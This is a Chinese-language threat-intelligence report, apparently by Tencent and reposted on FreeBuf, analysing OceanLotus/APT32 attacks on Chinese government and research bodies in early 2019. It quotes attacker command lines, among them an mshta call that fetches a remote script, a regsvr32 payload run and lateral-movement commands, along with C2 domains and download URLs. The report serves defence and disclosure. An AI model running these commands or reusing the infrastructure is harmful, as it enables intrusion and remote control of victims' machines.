一、背景
"海莲花"(又名APT32、OceanLotus),被认为是来自越南的APT攻击组织,自2012年活跃以来,一直针对中国的敏感目标进行攻击活动,是近几年来针对中国大陆进行攻击活动的最活跃的APT攻击组织之一。
在2019年第一季度,腾讯御见威胁情报中心持续的检测到该组织针对中国大陆的政府、海事机构、商务部门、研究机构的攻击活动。此外该组织还在不断的更新他们的攻击武器库,无论是钓鱼的诱饵形式、payload的加载、横向移动等。尤其值得注意的是,我们发现该组织针对不同的机器下发不同的恶意模块,使得即便恶意文件被安全厂商捕捉到,也因为无相关机器特征而无法解密最终的payload,无法知晓后续的相关活动。
活动钻石模型如下:
二、技术分析
1、 初始攻击
恶意文件投递的方式依然是最常用的鱼叉攻击的方式,钓鱼关键字包括"干部培训","绩效","工作方向","纪检监察"等,相关的邮件如下:
除此该次攻击还新增了敏感内容的主题,用户吸引被攻击者打开,如敏感图片:
2、 诱饵类型
2019年一季度投递的恶意诱饵类型众多,包括白加黑、lnk、doc文档、带有WinRARACE(CVE-2018-20250)漏洞的压缩包等。
1) 白加黑
2) 恶意lnk
3) 带有宏的恶意doc文档
4) 带有WinRAR ACE(CVE-2018-20250)漏洞的压缩包:
3、 恶意文件植入
1) 恶意lnk分析
在1月的一波攻击中,该组织会在所有的投递的压缩包里,都存放一个恶意的lnk,但是所有的lnk文件都类似(执行的地址不能,但是内容一致)。lnk文件的图标伪装成word图标。值得注意的是,该lnk的图标会从网络获取,因此如果远程服务器已经关闭,会导致该lnk无图标的现象。此外,还会造成即便不双击lnk,只要打开lnk所在的目录,就会出现网络连接的现象。
该现象的原因是:explorer解析lnk的时候会去解析图标,而这个lnk配置的图标在网络上,因此会自动去下载,但只是下载,不会执行,看一眼不运行lnk文件的话,会泄漏自身ip地址,但不会导致电脑中木马。
双击运行lnk后,会执行下列命令:
C:\Windows\SysWOW64\mshta.exehttp://api.baidu-json.com/feed/news.html
其中, news.html实际为一个vbs脚本文件:
mstha执行此脚本本后会解密脚本中存储的内容,并存储到%temp%目录下,文件名分别为:
7b95ffab-3a9c-494a-a584-9c48dc7aa6a7.tmp
7b95ffab-3a9c-494a-a584-9c48dc7aa6a7.exe
7b95ffab-3a9c-494a-a584-9c48dc7aa6a7.log
7b95ffab-3a9c-494a-a584-9c48dc7aa6a7.env
解密算法如下所示:
接着调用系统自带的odbcconf.exe,将7b95ffab-3a9c-494a-a584-9c48dc7aa6a7.tmp(dll文件)给加载起来。最后调用taskkill.exe,结束mshta.exe进程:
但是奇怪的是,由于解密算法的问题,导致最终的解密失败,因此执行该lnk,用户实际并不会中招:
从而我们猜测该方式可能还处于测试阶段,或者作者由于疏忽导致。不过在后续的攻击活动中,我们未再次检测到该攻击方式。
2) 带有宏的doc文档
带有宏的文档的投递,是该组织比较常用的恶意诱饵,如:
此外,Twitter上也有不少安全同仁曝光过该组织的该方式的诱饵:
此外疑似作者还在VT上跟相关研究员互动:
当然,我们更相信该用户可能只是安全研究员之间的一个玩笑。
执行宏后,首先会复制原始文档到%temp%下,命名为随机名文件:
然后解密出一个新的VBA宏:
接着设置注册表
”HKEY_CURRENT_USER\Software\Microsoft\Office\12.0\Word\Security\AccessVBOM”的值为1:
最后打开之前复制的doc文件,并将原始VBA宏擦除,将解密后的新的VBA宏添加进去,并启动VBA宏函数 x_N0th1ngH3r3:
x_N0th1ngH3r3函数同样是解密出一段新VBA宏,同样调用新VBA宏的x_N0th1ngH3r3函数:
解密出来的新VBA宏目的是将shellcode解密并加载执行:
Shellcode解密出一个DLL文件,并在内存中加载,执行DllEntry函数:
DllEntry函数先会提取资源文件,并解密出来:
解密出来的内容包括最终rat和相关配置信息:
随后会将解密的rat在内存中展开,并且查找CreateInstance函数地址,然后将配置信息传入调用该函数:
配置的4个C&C使用https进行通信连接:
cloud.360cn.info
dns.chinanews.network
aliexpresscn.net
chinaport.org
其他的技术细节同文章同之前御见发布的海莲花的分析文章(见附录)
3) 白加黑
白加黑同样是该组织常用的诱饵类型,并且在实际攻击过程中,还多次使用。
如,攻击首先使用了word的主程序为白文件,加载恶意文件wwlib.dll:
释放诱饵文档到临时目录,并打开:
然后再次使用白加黑的技术,使用360se的主程序做为白文件,加载恶意的chrome_elf.dll:
chrome_elf.dll功能除了实现调用原始默认程序打开txt、doc文件外,还会连接网络下载下一阶段的恶意文件并在内存中直接执行:
下载地址为:https://officewps.net/cosja.png
此外,其他的恶意样本下载地址如:https://dominikmagoffin.com/subi.png,https://ristineho.com/direct.jpg等。
下载的木马是一个直接可当作代码执行的shellcode,下载后直接在内存中执行:
shellcode的功能是解压解密出一个功能自加载的PE文件:
该PE文件是CobaltStrike木马,和之前海莲花组织使用的该木马完全一样,C2为https://officewps.net/safebrowsing/rd/CltOb12nLW1IbHehcmUtd2hUdmFzEBAY7-0KIOkUDC7h2。
此外,我们还发现有比较早前的攻击活动中,同样使用360的软件管理来做为白加黑的载体:
该样本会读取c:\windows\system32.ini文件,读取1字节作为key:
读取并解密资源icon下的1资源,得到一个字符串wsc_proxy.exe,比较当前进程是否为wsc_proxy.exe,如果是则继续:
读取自身.text区段地址,如果没读取成功就读取safemon.dll的:
读取ummrzhwp.Emf,使用同样的方法解密,完后加载:
最终的shellcode为CobaltStrike,不再赘述。
4) 带有WinRAR ACE(CVE-2018-20250)漏洞的压缩包
该压缩包解压后,会解压出有模糊图片处理的doc文档:
除了解压出压缩的文件后,还会在启动目录(C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup)释放一个自解压文件:
解压后会有一个{7026ce06-ee00-4ebd-b00e-f5150d86c13e}.ocx文件,然后执行命令
regsvr32 /s /i {7026ce06-ee00-4ebd-b00e-f5150d86c13e}.ocx执行。
该ocx的技术细节同前面宏文档的内存dll的部分分析,此处就不再赘述。
4、下发文件分析
在攻击者攻陷机器后,攻击者还会持续的对受控机进行攻击:会通过脚本释放新的与该机器绑定木马,此木马主要通过两种加载器实现只能在该机器上运行,加载器也是使用白加黑技术,如使用googleupdate.exe+goopdate.dll,此外的名字还包括如:
KuGouUpdate.exe+goopdate.dll
AdobeUpdate.exe+goopdate.dll
Bounjour.exe+goopdate.dll
1) 加载器1分析
原理示意图如下:
木马执行后分配内存空间,拷贝shellcode到新申请的空间中执行,shellcode的功能则是利用配置密码+本地计算机名的hash作为密钥解密最终的playload,并对playload进行校验,成功后创建新线程执行playload。
2) 加载器2分析
原理图如下:
加载器2是在加载器1的基础上增加了一层随机密钥的加密,更好地对抗安全软件的检测扫描,且通过挂钩API函数然乱木马执行流程来干扰自动化沙箱的分析。
首先在dll入口点处hook LdrLoadDll函数,当调用该API时接管执行流程执行解密代码,通过内置的随机密码解密shellcode,shellcode的功能则是利用配置密码+本地计算机名的hash作为密钥解密最终的playload,并对playload进行校验,成功后创建新线程执行playload:
Shellcode行为同loader1解密出的shellcode一致:
使用的相关的加密前缀还有:
AMDservice
justletMeholdU
360zipfuckyou
PJFgaJunlmzRdjx79txe
sadasddsadsa@350sadsad
210.72.156.203
sad@1232198sadasd
fuckthis@wwww360sad
1KR20RYMPVYDRGU@sasd
GoogleCompany
……
最终的playload有三种,都是海莲花常用的木马,分别为CobaltStrike、Gh0st、Denis。
RAT1:CobaltStrike
RAT2:Gh0st改版
该木马疑似使用开源木马gh0st改版,支持tcp、upd,数据包使用zlib压缩。
RAT3:Denis
5、 提权和横向移动
此外,我们还发现海莲花还会不断的对被攻击的内网进行横向移动,以此来渗透到更多的机器:
利用nbt.exe扫描内网网段,其可能通过收集凭据信息或暴力破解内网网络共享的用户和密码,如:
C:\\WINDOWS\\system32\\cmd.exe/C nbt.exe 192.168.1.105/24;
通过net user等相关命令查看或访问内网主机,如:
net user\\192.168.1.83\C#3 /U:192.168.1.183\Administrator 123456;
NTLM hash。
此外,在上段所述的加密的前缀中,我们还发现了一个ip:210.72.156.203做为加密前缀,我们从腾讯安图查询可见:
可以发现,能关联到nbtscan-1.0.35.exe和mmc.exe,同样跟内网渗透相关。
还渗透到内网机器后,攻击者还发下发bat和js脚本,来执行后续的操作。
脚本名字如encode.js、360se.txt、360PluginUpdater.js、360DeepScanner.js、360Tray.js等。
如:360PluginUpdater.bat+360PluginUpdater.js
360PluginUpdater.bat的功能是输出加密脚本到360PluginUpdater.dat,完成后将其重命名为360PluginUpdater.js,并执行他:
360PluginUpdater.js是个加密的脚本:
通过一系列解密后最终通过eval执行解密后的脚本:
经过base64解密及范序列化后得到两个对象loader和playload,并在内存中调用loader的LoadShell方法。
loader的pdb为:E:\priv\framework\code\tools\exe2js\loader\obj\Release\loader.pdb,其功能是申请内存,解密加载执行playload:
payload PE头自带加载代码:
最终调用ReflectiveLoader实现内存加载dll:
最终为为CobaltStrike攻击平台远控:
三、攻击者分析
从本次的攻击者的钓鱼邮件的邮件名来看,攻击者均采用了网易的免费邮箱126.com和163.com,如baixiao******@126.com、duancongrui**@163.com等。邮件名格式都采用名字+数字的形式。名字存在一定的中国特色。
再者,注册的C&C域名,如cloud.360cn.info、chinaport.org、dns.chinanews.network、order.dianpingsh.com等也带有明显的中国特色。
而从钓鱼邮件的内容和附件来看,攻击者对中国的国情和相关信息也有非常多的了解。
四、总结
海莲花组织是近年来针对中国大陆的敏感部门进行攻击的最活跃的APT组织之一,它总是在不断的进化,更新他的攻击手法和武器库,以达到绕过安全软件防御的目的。如不断的变换加载方式、混淆方法、多种多样的诱饵形式等,还使用新的Nday进行攻击,如该波攻击中的WinRAR ACE漏洞(CVE-2018-20250)。除了武器库的不断更新,该组织也相当熟悉中国的情况,包括政策、使用习惯等等,这也使得迷惑相关人员,是的攻击成功增加了成功率。
除此,该组织的攻击范围也在不断的扩大,除了政府部门、海事机构、商务厅、能源单位等外,研究机构所遭受的攻击也在不断的增多,而对个人的攻击,如教授、律师的钓鱼攻击也在不断的进行。
因此我们提醒有关部门及有关机构的工作人员,切实提高国家安全意识,提高网络安全意识,不要被网络钓鱼信息所蒙蔽,以免给国家安全造成重大损失。
五、安全建议
1、 不要打开不明来源的邮件附件;
2、 及时打系统补丁和重要软件的补丁;
3、小心处理Office文档,除非确认文档来源可靠,充分了解打开文档的后果,否则务必不要开启Office启用宏代码;
*本文作者:腾讯电脑管家,转载请注明来自FreeBuf.COM